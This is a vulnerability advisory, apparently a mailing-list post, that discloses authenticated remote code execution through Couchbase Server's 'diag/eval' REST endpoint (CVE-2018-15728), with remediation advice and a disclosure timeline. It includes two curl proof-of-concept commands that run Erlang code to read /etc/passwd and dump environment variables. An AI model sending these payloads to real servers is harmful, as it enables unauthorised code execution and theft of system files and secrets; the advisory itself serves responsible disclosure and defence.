Couchbase Server - Remote Code Execution

From: x ksi <>
Subject: Couchbase Server - Remote Code Execution

Subject: Couchbase Server - Remote Code Execution
Message-Id: <>


This email and any attachments to it may be confidential and are intended solely for the use of the individual to whom it is addressed.  Any views or opinions expressed are solely those of the author and do not necessarily represent those of Lanware Ltd.  If you have received this e-mail in error, please notify the sender and delete this email (including any attachments) from your system. Lanware may monitor email traffic data and content of email for the purpose of security.

Lanware Ltd, 62-64 Cornhill EC3V 3NH.  Registered in England and Wales.  Registration No. 2815552.  Telephone +44 (0) 207 150 1100

Couchbase Server [1] exposes REST API [2] which by default is
available on TCP/8091 and/or TCP/18091.
Authenticated users can send arbitrary Erlang code to 'diag/eval'
endpoint of the API. The code will be subsequently executed in the
underlying operating system with privileges of the user which was used
to start Couchbase.
The 'diag/eval' endpoint was found to be referenced in the official
documentation [3][4][5], however, documentation doesn't contain any
information about the risks associated with allowing access to the
endpoint in question.
Unfortunately, I was not able to confirm which versions of Couchbase
are affected and whether 'diag/eval' endpoint is enabled by default.
You can use the PoC provided below in order to verify if your
installation is affected or not.

Proof of Concept:
1. curl -H "Authorization: Basic ABCD" http://x.x.x.x:8091/diag/eval
-X POST -d 'case file:read_file("/etc/passwd") of {ok, B} ->
io:format("~p~n", [binary_to_term(B)]) end.'
2. curl -H "Authorization: Basic ABCD" http://x.x.x.x:8091/diag/eval
-X POST -d 'os:cmd("env")'

Contact vendor for remediation guidance. Alternatively, restrict
access to the REST API and/or 'diag/eval' endpoint.

18.06.2018: Following vendor guidelines [6], the information about the
issue was sent to
20.06.2018: Follow-up email was sent to the vendor to confirm receipt
of the original report.
21.08.2018: MDSec published advisory about the similar vulnerability
found in Apache CouchDB [7].
21.08.2018: CVE requested from MITRE.
22.08.2018: MITRE assigned CVE-2018-15728 for this issue.
23.08.2018: The advisory has been released.


Filip Palian

Copyright © 1995-2019 All rights reserved.